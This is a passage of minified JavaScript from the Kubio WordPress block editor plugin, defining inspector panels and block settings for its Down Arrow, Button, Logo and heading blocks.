icon","kubio"),type:He.WithDataPathTypes.PROP,path:"showIcon",isProOnly:!0,upgradeUrlArgs:{source:"button",content:"icon"}}),r&&Object(xe.createElement)(Re.IconPickerWithPath,{path:"icon.name",type:He.WithDataPathTypes.ATTRIBUTE}),!s&&n&&Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:c},Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Button align","kubio"),type:He.WithDataPathTypes.STYLE,path:"textAlign",defaultValue:p,style:Js})),!s&&Object(xe.createElement)(xe.Fragment,null,!u&&Object(xe.createElement)("div",{className:"components-base-control"},Object(xe.createElement)(Le.Button,{isPrimary:!0,icon:on.AddItemIcon,onClick:i,className:"kubio-button-group-button sortable-collapse__add-button"},Object(We.__)("Add button","kubio"))),l))};var Iu=Object(Me.compose)([Object(He.withComputedData)((e=>{const t=e.withParent(),o=t.blockName===Yo.BUTTON_GROUP&&(null==t?void 0:t.clientId),n={styledComponent:Js},a=t.useStylePath("textAlign",n),{childrenIds:l}=Object(Ve.useSelect)((e=>{const{getBlockOrder:t}=e("core/block-editor");return{childrenIds:o?t(o):[]}})),r=(null==l?void 0:l.length)>1,i=t.blockName!==Yo.BUTTON_GROUP;return{showIcon:e.getProp("showIcon"),dataHelper:e,isOutsideOfGroup:i,groupTextAlign:a,showGroup:r,onAdd:()=>{e.duplicate({unlink:!0,selectDuplicate:!1})},groupClientId:o}})),Object(Me.createHigherOrderComponent)((e=>t=>{const{dataHelper:o}=Object(He.useKubioDataHelper)(t),n=o.withParent().blockName===Yo.VIDEO,a=t.dynamicLink||n,l=!n&&t.withAlign;return Object(xe.createElement)(e,Object(ut.a)({},t,{withAlign:l,dynamicLink:a}))}),"checkParent")])((e=>{const{withInspector:t=!0,withPanel:o=!0}=e,{groupClientId:n,showGroup:a}=e.computed;return t?Object(xe.createElement)(De.InspectorControls,null,o?Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Button Properties","kubio")},Object(xe.createElement)(Cu,e)):Object(xe.createElement)(Cu,e),a&&Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:n},Object(xe.createElement)(ou,{panelLabel:Object(We.__)("Button Group","kubio"),addButtonText:Object(We.__)("Add button","kubio"),alignLabel:Object(We.__)("Button group align","kubio"),spaceBetweenLabel:Object(We.__)("Space between buttons","kubio")}))):Object(xe.createElement)(xe.Fragment,null,o?Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Button Properties","kubio")},Object(xe.createElement)(Cu,e)):Object(xe.createElement)(Cu,e),a&&Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:n},Object(xe.createElement)(ou,{panelLabel:Object(We.__)("Button Group","kubio"),addButtonText:Object(We.__)("Add button","kubio"),alignLabel:Object(We.__)("Button group align","kubio"),spaceBetweenLabel:Object(We.__)("Space between buttons","kubio")})))})),Tu=Object(He.withComputedData)(((e,t)=>{const o=e.withChildren();return{buttonId:Ne.a.get(o,"0.options.clientId"),dataHelper:e}}))((e=>{let{computed:t}=e;const{buttonId:o,dataHelper:n}=t;return"button"===n.getProp("downarrowType")&&Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(Iu,{dynamicLink:!0,withAlign:!1,withInspector:!1,withPanel:!1,showGroup:!1}))}));const Su={name:"kubio/downarrow",parent:["kubio/hero"],usesContext:["navigation"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}}}},props:{bounce:!0,downarrowType:"icon"}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{props:{className:["h-scroll-to__outer d-flex justify-content-center h-down-arrow"]}},inner:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}},multiple:!1}},wu={styledComponent:Vs};function Pu(e){return Ne.a.get(Su.supports.kubio.default,`style.descendants.${e}`)}var Au=Object(He.withComputedData)(((e,t)=>{const o=Object(He.useTransformStyle)(e);let n=Pu("inner.transform.translate[0].value");const a=o.useStylePath("transform.translate.x",{unsetValue:n,styledInner:wu},n);return n=Pu("inner.transform.translate[1].value"),{horizontalOffset:a,verticalOffset:o.useStylePath("transform.translate.y",{unsetValue:n,styledInner:wu},n),dataHelper:e,downarrowType:e.getProp("downarrowType","icon")}}))((e=>{let{computed:t}=e;const{horizontalOffset:o,verticalOffset:n,dataHelper:a,downarrowType:l}=t,r=!!a.getProp("bounce"),{getBlocksByClientId:i}=Object(Ve.useSelect)((e=>e("core/block-editor"))),{insertBlock:c,removeBlocks:s}=Object(Ve.useDispatch)("core/block-editor");return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Options","kubio")},Object(xe.createElement)(Re.InlineLabeledControl,{label:Object(We.__)("Bounce animation","kubio")},Object(xe.createElement)(Le.FormToggle,{checked:r,onChange:()=>{const e=!a.getProp("bounce");a.setProp("bounce",e)}})),Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!1}),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Horizontal offset","kubio"),min:-500,max:500,step:1,capMin:!1},o,wu)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Vertical offset","kubio"),min:-500,max:500,step:1,capMin:!1},n,wu)),Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!1}),Object(xe.createElement)(Re.ToggleGroup,{label:Object(We.__)("Type","kubio"),value:l,options:$s,onChange:e=>{a.withChildren().forEach((e=>{let t=i(e.clientId);t=t[0],s(t.clientId,!0)})),a.setProp("downarrowType",e);let t={};"icon"===e?t=Object(Ge.createBlock)(...As):"button"===e&&(t=Object(Ge.createBlock)(...Ns)),c(t,0,a.clientId,!1)}}),Object(xe.createElement)(Ks,null),Object(xe.createElement)(Tu,null)))}));const Bu=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Au,null));var Nu=Object(He.withComputedData)(((e,t)=>{const{styledElement:o}=t,n={value:e.getStyle("width","",{styledComponent:o}),onChange:t=>{e.setStyle("width",t,{styledComponent:o}),e.setStyle("height",t,{styledComponent:o})}};return{rotateZ:Object(He.useTransformStyle)(e).useStylePath("transform.rotate.z",{},{value:0,unit:"deg"}),size:n}}))((e=>{let{computed:t,styledElement:o}=e;const n={type:He.WithDataPathTypes.STYLE,style:o},{rotateZ:a,size:l}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Icon","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon color","kubio"),path:"fill"},n)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon hover color","kubio"),path:"fill",state:"hover"},n)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Icon size","kubio"),max:300,min:0,capMin:!0},l)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Icon rotate","kubio"),max:180,min:-180,capMax:!0,capMin:!0,defaultUnit:"deg"},a)))}));const xu={OUTER:"outer",INNER:"inner"},Ru={[xu.OUTER]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}},[xu.INNER]:{label:Object(We.__)("Icon","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TRANSITION],states:["normal","hover"]}}},Du=Object(He.withComputedData)(((e,t)=>{const{styledElement:o=xu.INNER}=t;return{spacing:{value:e.getStyle("padding.top",null,{styledComponent:o}),onChange:t=>{const n={styledComponent:o};e.setStyle("padding.top",t,n),e.setStyle("padding.bottom",t,n),e.setStyle("padding.left",t,n),e.setStyle("padding.right",t,n)}}}}))((function(){let{computed:e,styledElement:t=xu.INNER}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:props;const{spacing:o}=e,n={type:He.WithDataPathTypes.STYLE,style:t},a="normal",l=[{value:a,label:Object(We.__)("Normal","kubio")},{value:"hover",label:Object(We.__)("Hover","kubio")}],[r,i]=Object(xe.useState)(a);return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Background and border","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ToggleGroup,{options:l,value:r,onChange:e=>{i(e)}}),Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({label:Object(We.__)("Icon background","kubio"),path:"background",state:r},n)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:r},n)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Spacing","kubio")},o)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},n,{withColor:!1})))}));var Lu=Du;const Mu=Object(He.withComputedData)((e=>{const t=e.withChildren();return{iconId:Ne.a.get(t,"0.clientId"),dataHelper:e}}))((e=>{let{computed:t}=e;const{iconId:o,dataHelper:n}=t,a=xu.ICON;return"icon"===n.getProp("downarrowType")&&Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(Nu,{styledElement:a}),Object(xe.createElement)(Lu,{styledElement:a}))}));var Wu=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Mu,null));const Hu={type:He.WithDataPathTypes.STYLE,style:Cc};var Gu=Object(He.withColibriDataAutoSave)()((()=>{const e="normal",t=[{value:e,label:Object(We.__)("Normal","kubio")},{value:"hover",label:Object(We.__)("Hover","kubio")}],[o,n]=Object(xe.useState)(e),a={normal:Object(tl.useInheritedTypographyValue)("a","color"),hover:Object(tl.useInheritedTypographyValue)("a","states.hover.color")};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Button style","kubio")},Object(xe.createElement)(Re.ToggleGroup,{options:t,value:o,onChange:e=>n(e)}),Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({label:Object(We.__)("Background","kubio"),path:"background",state:o},Hu)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",state:o},Hu,{defaultValue:a[o]})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:o},Hu)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},Hu)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},Hu,{withColor:!1})),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({path:"boxShadow"},Hu)))}));const Uu={AFTER:"after",BEFORE:"before"},Fu={iconPosition:{values:Uu,options:[{label:Object(We.__)("After","kubio"),value:Uu.AFTER},{label:Object(We.__)("Before","kubio"),value:Uu.BEFORE}]}},zu={styledComponent:Ec};var Vu=Object(He.withComputedData)((e=>{const t=Fu.iconPosition.values,o={value:e.getProp("iconPosition"),onChange:o=>{e.setProp("iconPosition",o);const n=e.getStyle("margin",{},zu),a={value:0,unit:"px"},l={left:o===t.AFTER?null==n?void 0:n.right:a,right:o===t.BEFORE?null==n?void 0:n.left:a};e.setStyle("margin",l,zu)}};let n=null;n=o.value===t.AFTER?"margin.left":"margin.right";const a={value:e.getStyle(n,{},zu),onChange:t=>e.setStyle(n,t,zu)};return{showIcon:e.getProp("showIcon"),iconPosition:o,iconSpacing:a,dataHelper:e}}))((e=>{let{computed:t}=e;const{iconPosition:o,iconSpacing:n,showIcon:a,dataHelper:l}=t,r={type:He.WithDataPathTypes.STYLE,style:Ec},i=Object(tl.useInheritedTypographyValue)("a"),c=l.getStyle("typography.color",null,{styledComponent:kc}),s=l.getStyle("typography.color",null,{styledComponent:kc,state:"hover"}),u=l.getStyle("fill")||c||i.color,p=l.getStyle("fill",null,{state:"hover"})||s||i.states.hover.color;return Object(xe.createElement)(xe.Fragment,null,a&&Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Icon style","kubio")},Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon size","kubio"),path:"size",max:30,capMax:!1,capMin:!0},r)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon color","kubio"),path:"fill"},r,{defaultValue:u})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon hover color","kubio"),path:"fill",state:"hover"},r,{defaultValue:p})),Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Icon position","kubio"),path:"iconPosition",options:Fu.iconPosition.options},o)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Icon spacing","kubio"),capMax:!1,max:50},n))))})),Yu=Vu;const $u=Object(He.withComputedData)((e=>{const t=e.withChildren();return{buttonId:Ne.a.get(t,"0.clientId"),dataHelper:e}}))((e=>{let{computed:t}=e;const{buttonId:o,dataHelper:n}=t;return"button"===n.getProp("downarrowType")&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(Gu,null),Object(xe.createElement)(Yu,null)))}));var Ku=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)($u,null));const qu=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Wu,null),Object(xe.createElement)(Ku,null)),Xu=[Yo.ICON,Yo.BUTTON],Qu=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>({dataHelper:e}))),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{dataHelper:t}=e;return{[zs]:{className:()=>{const e=[];return t.getProp("bounce")&&e.push("move-down-bounce"),e.join(" ")}},[Vs]:{className:()=>[]}}})))((e=>{const{StyledElements:t,computed:o}=e,n=$o({},{templateLock:!1,renderAppender:!1,allowedBlocks:Xu,orientation:"horizontal"});return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(t.Outer,null,Object(xe.createElement)(t.Inner,null,Object(xe.createElement)("div",n))))}));var Zu=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Bu,null),Object(xe.createElement)(qu,null),Object(xe.createElement)(Qu,e))}));const Ju=Yo.DOWN_ARROW,ep=[...Ne.a.map(ot,(function(e){return Ne.a.filter(e,(function(e){return"Duplicate"!==e.label}))}))];Object(Ae.addFilter)("kubio.rightClickMenu.menuItems",Ju,((e,t)=>t===Ju?ep:e));const tp={name:"kubio/downarrow",parent:["kubio/hero"],usesContext:["navigation"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}}}},props:{bounce:!0,downarrowType:"icon"}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{props:{className:["h-scroll-to__outer d-flex justify-content-center h-down-arrow"]}},inner:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}},multiple:!1}},op=Object(nn.extendBlockMeta)(tp,{title:Object(We.__)("Down Arrow","kubio"),icon:on.BlockIcons.DownArrow,keywords:[],parent:["kubio/hero"],apiVersion:2,supports:{kubio:{elementsByName:Ys},reusable:!1,html:!1,inserter:!0,multiple:!1},edit:Zu,save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)},displayAdvancedPanelFor:(e,t)=>{const{getBlocks:o}=t("core/block-editor");return o(e)[0].clientId}}),np=[{label:Object(We.__)("Simple","kubio"),items:[{value:"image",label:Object(We.__)("Logo image","kubio")},{value:"text",label:Object(We.__)("Site title","kubio")}]},{label:Object(We.__)("Integral","kubio"),items:Object(ji.addProTagToItems)([{value:"imageAbove",label:Object(We.__)("Image above text","kubio")},{value:"imageBelow",label:Object(We.__)("Image below text","kubio")},{value:"imageLeft",label:Object(We.__)("Image with text on right","kubio")},{value:"imageRight",label:Object(We.__)("Image with text on left","kubio")}],[])}],ap=[{value:"autodetect-mode",label:Object(We.__)("Default","kubio")},{value:"normal-mode",label:Object(We.__)("Normal","kubio")},{value:"alternate-mode",label:Object(We.__)("Alternate","kubio")}];var lp=Object(He.withComputedData)((e=>{const t=e.getAttribute("linkTo"),o={value:e.getAttribute("linkTo"),onChange:t=>{e.setAttribute("linkTo",t)}};return{layoutType:{value:e.getProp("layoutType"),onChange:t=>{e.setProp("layoutType",t)}},linkTo:t,linkToProps:o}}))((e=>{let{computed:t}=e;const{linkTo:o,linkToProps:n,layoutType:a}=t,[l,r]=Object(pt.useEntityProp)("root","site","title"),{logoImage:i,alternateLogoImage:c,setLogoImage:s,setAlternateLogoImage:u,rawAlternateLogoImage:p}=Object(tl.useSiteLogoImages)(),[b,m]=Object(xe.useState)(!!p);Object(hr.useEffect)((()=>{!!p!==b&&m(!!p)}),[!!p]);const d=[{value:"homePage",label:Object(We.__)("Home page","kubio")},{value:"customURL",label:Object(We.__)("Custom URL","kubio")}];let h;return"customURL"===o&&(h=Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Re.LinkControlWithData,null))),Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{className:"logo-properties",title:Object(We.__)("Logo Properties","kubio")},Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Layout type","kubio"),options:np},a)),"image"!==a.value&&Object(xe.createElement)(Re.InputControl,{label:Object(We.__)("Site title","kubio"),value:l,onChange:r}),"text"!==a.value&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.MediaPicker,{label:Object(We.__)("Logo image","kubio"),value:i,type:"image",showButton:!0,buttonLabel:Object(We.__)("Change image","kubio"),onChange:e=>s(e.id)}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TooltipWrapper,{leftPosition:"130px",text:Object(We.__)("Use a different image logo suitable to your chosen background color","kubio")},Object(xe.createElement)(Re.MediaPicker,{label:Object(We.__)("Alternate logo image","kubio"),value:c,type:"image",showButton:!0,buttonLabel:Object(We.__)("Change alternate image","kubio"),onChange:e=>u(e.url),toggable:!0,toggleValue:b,updateToggleValue:e=>{m(e),e||u(null)}})),b&&Object(xe.createElement)(Re.ToggleGroupWithPath,{label:Object(We.__)("Current displayed image","kubio"),options:ap,type:He.WithDataPathTypes.ATTRIBUTE,path:"mode"})),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Link to","kubio"),options:d},n)),h))}));const rp=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(lp,null)),ip="container",cp="image",sp="alternateImage",up="generalImage",pp="text",bp={[ip]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:cn.StatesPresetsEnum.BASIC}},[pp]:{label:Object(We.__)("Text","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[up]:{label:Object(We.__)("Image","kubio"),supports:{styles:[cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:cn.StatesPresetsEnum.NONE,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1},[cn.StylesEnum.SPACING]:{supportsPadding:!1}}}}};var mp=Object(He.withColibriDataAutoSave)((e=>{const t=e.getProp("layoutType"),o={value:e.getStyle("justifyContent"),onChange:t=>{e.setStyle("justifyContent",t),e.setStyle("alignItems",t)},onReset:()=>{e.setStyle("justifyContent","center"),e.setStyle("alignItems","center")}};return{layoutType:t,maxHeight:e.getAttribute("maxHeight"),textAlign:o}}))((e=>{let{computed:t}=e;const{layoutType:o,textAlign:n}=t,a={type:He.WithDataPathTypes.STYLE,style:pp},l=Object(tl.useInheritedTypographyValue)("p","color");let r;return r="image"===o?Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Max image height","kubio"),path:"maxHeight",max:150,type:He.WithDataPathTypes.STYLE,style:up})):"text"===o?Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Logo text color","kubio"),path:"typography.color",defaultValue:l},a)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},a))):Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Max image height","kubio"),max:150,path:"maxHeight",type:He.WithDataPathTypes.STYLE,style:up}),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Logo text color","kubio"),path:"typography.color",defaultValue:l},a)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},a)),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Text distance","kubio"),min:0,capMin:!0,max:50,path:"gap",type:He.WithDataPathTypes.STYLE,style:ip})),Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Logo","kubio")},r,Object(xe.createElement)(Re.BoxUnitValueControlWithPath,{label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0}),Object(xe.createElement)(Re.HorizontalFlexAlign,Object(ut.a)({label:Object(We.__)("Align","kubio")},n)))}));const dp=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(mp,null)),hp={image:{showImage:!0,showAlternateImage:!1,showText:!1,direction:["kubio-logo-direction-row"]},text:{showImage:!1,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-row"]},imageBelow:{showImage:!0,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-column-reverse"]},imageAbove:{showImage:!0,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-column"]},imageRight:{showImage:!0,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-row-reverse"]},imageLeft:{showImage:!0,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-row"]}},Op=Object(Me.compose)(Object(He.withColibriDataAutoSave)((e=>{let t=e.getProp("layoutType");t||(t="image");const{logoImage:o,alternateLogoImage:n,title:a}=Object(tl.useSiteLogoImages)();return{logoImage:o,alternateLogoImage:n,layoutType:t,title:a,imageUrl:e.getAttribute("imageUrl"),mode:e.getAttribute("mode"),layoutTypeProps:hp[t],showNormalImage:hp[t].showImage,showAlternateImage:hp[t].showAlternateImage}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[ip]:{className:$e()(e.layoutTypeProps.direction,e.mode)},[cp]:{},[pp]:{},[sp]:{}}}))),gp=Op((e=>{const{computed:t,StyledElements:o}=e,{layoutTypeProps:n,logoImage:a,title:l,alternateLogoImage:r}=t,{showImage:i,showText:c}=n;return Object(xe.createElement)(o.Container,null,i&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(o.Image,{src:a}),Object(xe.createElement)(o.AlternateImage,{src:r})),c&&Object(xe.createElement)(o.Text,null,l))}));const yp={name:"kubio/logo",category:"kubio-site-data",attributes:{kubio:{type:"object"},imageUrl:{type:"string",source:"attribute",selector:"img",attribute:"src"},linkTo:{type:"string",default:"homePage"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},mode:{type:"string",default:"autodetect-mode"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{container:{gap:{value:"10",unit:"px"},typography:{decoration:"none"}},image:{maxHeight:{value:"70",unit:"px"}},generalImage:{maxHeight:{value:70,unit:"px"}}}},props:{layoutType:"image"}},elementsEnum:{CONTAINER:"container",IMAGE:"image",ALTERNATE_IMAGE:"alternateImage",GENERAL_IMAGE_STYLE:"generalImage",TEXT:"text",LOGO_TEXT:"logo-text"},elementsByName:{container:{wrapper:!0,default:!0,props:{tag:"a",className:["kubio-has-gap-fallback"]}},image:{props:{tag:"img",className:["kubio-logo-image"]}},alternateImage:{props:{tag:"img",className:["kubio-logo-image","kubio-alternate-logo-image"]}},text:{props:{tag:"span"}},generalImage:{selector:"& .kubio-logo-image"},"logo-text":{}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"image",shouldRender:"computed.showNormalImage"}},{type:"element",props:{name:"alternateImage",shouldRender:"computed.showAlternateImage"}},{type:"element",props:{name:"text"}}]}}}},jp=Object(nn.extendBlockMeta)(yp,{title:Object(We.__)("Logo","kubio"),description:Object(We.__)("Make sure your visual identity is clear to your website visitors by adding your logo in a visible place.","kubio"),keywords:[Object(We.__)("logo","kubio"),Object(We.__)("symbol","kubio")],icon:on.BlockIcons.Logo,apiVersion:2,supports:{kubio:{elementsByName:bp},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(rp,null),Object(xe.createElement)(dp,null),Object(xe.createElement)(gp,e))}}),kp={H1:1,H2:2,H3:3,H4:4,H5:5,H6:6},Ep={values:kp,options:[{value:kp.H1,label:Object(We.__)("H1","kubio")},{value:kp.H2,label:Object(We.__)("H2","kubio")},{value:kp.H3,label:Object(We.__)("H3","kubio")},{value:kp.H4,label:Object(We.__)("H4","kubio")},{value:kp.H5,label:Object(We.__)("H5","kubio")},{value:kp.H6,label:Object(We.__)("H6","kubio")}]},fp={TYPE:"type",ROTATE_1:"rotate-1",ROTATE_2:"rotate-2",ROTATE_3:"rotate-3",LOADING_BAR:"loading-bar",SLIDE:"slide",CLIP:"clip",ZOOM:"zoom",SCALE:"scale",PUSH:"push"},vp="curly",_p=[fp.ROTATE_1];let Cp=[{label:Object(We.__)("3D flip","kubio"),value:fp.ROTATE_1},{label:Object(We.__)("Type","kubio"),value:fp.TYPE},{label:Object(We.__)("Letter flip","kubio"),value:fp.ROTATE_3},{label:Object(We.__)("Letter flip vertical","kubio"),value:fp.ROTATE_2},{label:Object(We.__)("Slide","kubio"),value:fp.SLIDE},{label:Object(We.__)("Clip","kubio"),value:fp.CLIP},{label:Object(We.__)("Zoom","kubio"),value:fp.ZOOM},{label:Object(We.__)("Scale","kubio"),value:fp.SCALE},{label:Object(We.__)("Push","kubio"),value:fp.PUSH}];Cp=Object(ji.addProTagToItems)(Cp,_p);const Ip=[vp];let Tp=[{label:Object(We.__)("Curly","kubio"),value:vp},{label:Object(We.__)("Circle","kubio"),value:"circle"},{label:Object(We.__)("Underline","kubio"),value:"underline"},{label:Object(We.__)("Double","kubio"),value:"double"},{label:Object(We.__)("Double Underline","kubio"),value:"double-underline"},{label:Object(We.__)("Underline zigzag","kubio"),value:"underline-zigzag"},{label:Object(We.__)("Diagonal","kubio"),value:"diagonal"},{label:Object(We.__)("Strikethrough","kubio"),value:"strikethrough"},{label:Object(We.__)("X","kubio"),value:"x"}];Tp=Object(ji.addProTagToItems)(Tp,Ip);const Sp={NONE:"none",HIGHLIGHT:"highlighted",ROTATE:"rotating"},wp=[{label:Object(We.__)("None","kubio"),value:Sp.NONE},{label:Object(We.__)("Highlight","kubio"),value:Sp.HIGHLIGHT},{label:Object(We.__)("Rotate","kubio"),value:Sp.ROTATE}],Pp=[{label:Object(We.__)("Thin","kubio"),value:"300"},{label:Object(We.__)("Bold","kubio"),value:"600"}],Ap=[{label:Object(We.__)("PX","kubio"),value:"px"}],Bp=[{label:Object(We.__)("s","kubio"),value:"s"}],Np=e=>{var t,o,n,a;const l=null===(t=e.getProp("level",e.getAttribute("headerType",1),{media:"desktop"}))||void 0===t||null===(o=t.toString)||void 0===o||null===(n=o.call(t))||void 0===n||null===(a=n.replace)||void 0===a?void 0:a.call(n,"h","");return parseInt(l)},xp=e=>`h${Np(e)}`,Rp={typeAnimationValues:fp,headingType:Ep,typeStyleValues:Sp,thicknessOptions:Pp,typeAnimationOptions:Cp,typeHighlightedOptions:Tp,typeStyleOption:wp,offsetStrokeWidthOptions:{min:0,max:20,step:1},dimensionsUnits:Ap,typeAnimationDurationOptions:{min:.1,max:.3,step:.01},animationDurationOptions:{min:1,max:10,step:.1},timeUnits:Bp},Dp="container",Lp={[Dp]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}}},Mp=Object(We.__)("Page title","kubio"),Wp=Object(Me.compose)(Object(He.withColibriDataAutoSave)((e=>({tagName:xp(e)}))),Object(He.withStyledElements)((function(){let{computed:e,dataHelper:t}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[Dp]:{tag:null==e?void 